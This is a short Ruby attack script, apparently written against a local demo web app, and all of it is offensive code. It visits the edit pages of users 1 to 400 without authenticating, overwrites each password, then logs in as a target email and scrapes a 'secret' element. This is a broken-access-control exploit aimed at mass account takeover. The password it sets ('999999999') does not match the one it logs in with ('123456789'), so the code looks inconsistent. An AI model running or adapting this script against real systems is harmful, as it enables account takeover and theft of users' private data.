hack.rb

require 'mechanize'

EMAIL = '[email protected]'

agent = Mechanize.new

400.times do |i|
  puts i
  begin
    agent.get "http://localhost:3000/users/#{i + 1}/edit"
    agent.page.forms.first.tap do |f|
      f['user[password]'] = '999999999'
      f.submit
    end
  rescue Mechanize::ResponseCodeError
    next
  end
end

agent.get "http://localhost:3000/sessions/new"
agent.page.forms.first.tap do |f|
  f['session[password]'] = '123456789'
  f['session[email]']    = EMAIL
  f.submit
end

puts agent.page.search('p.secret').text